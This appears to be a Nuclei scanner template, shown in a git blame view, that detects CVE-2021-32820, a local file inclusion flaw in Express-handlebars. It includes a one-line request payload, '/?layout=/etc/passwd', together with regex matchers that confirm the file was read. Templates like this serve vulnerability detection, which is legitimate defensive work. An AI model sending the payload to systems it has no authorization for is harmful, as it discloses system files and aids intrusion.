nuclei-templates/http/cves/2021/CVE-2021-32820.yaml

44 lines
1.8 KiB
YAML
Raw Normal View History

2021-07-21 05:10:13 +00:00
id: CVE-2021-32820
info:
name: Express-handlebars - Local File Inclusion
2021-07-21 05:10:13 +00:00
author: dhiyaneshDk
severity: high
description: Express-handlebars is susceptible to local file inclusion because it mixes pure template data with engine configuration options through the Express render API. More specifically, the layout parameter may trigger file disclosure vulnerabilities in downstream applications. This potential vulnerability is somewhat restricted in that only files with existing extensions (i.e., file.extension) can be included. Files that lack an extension will have .handlebars appended to them. For complete details refer to the referenced GHSL-2021-018 report. Notes in documentation have been added to help users avoid this potential information exposure vulnerability.
reference:
- https://securitylab.github.com/advisories/GHSL-2021-018-express-handlebars/
- https://github.com/detectify/ugly-duckling/blob/master/modules/crowdsourced/CVE-2021-32820.json
- https://github.com/express-handlebars/express-handlebars/pull/163
- https://nvd.nist.gov/vuln/detail/CVE-2021-32820
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
cvss-score: 8.6
cve-id: CVE-2021-32820
cwe-id: CWE-200
cpe: cpe:2.3:a:express_handlebars_project:express_handlebars:*:*:*:*:*:*:*:*
epss-score: 0.01001
tags: cve,cve2021,expressjs,lfi,xxe
metadata:
max-request: 1
2021-07-21 05:10:13 +00:00
http:
2021-07-21 05:10:13 +00:00
- method: GET
path:
- "{{BaseURL}}/?layout=/etc/passwd"
2021-07-22 11:02:37 +00:00
2021-07-21 05:10:13 +00:00
matchers-condition: and
matchers:
2021-07-22 11:02:37 +00:00
2021-07-21 05:10:13 +00:00
- type: regex
2022-07-02 10:27:18 +00:00
part: body
2021-07-21 05:10:13 +00:00
regex:
2021-07-24 21:35:55 +00:00
- "root:.*:0:0:"
2021-07-22 11:02:37 +00:00
- "daemon:[x*]:0:0:"
- "operator:[x*]:0:0:"
condition: or
2022-07-02 10:27:18 +00:00
- type: status
status:
- 200
# Enhanced by mp on 2022/06/30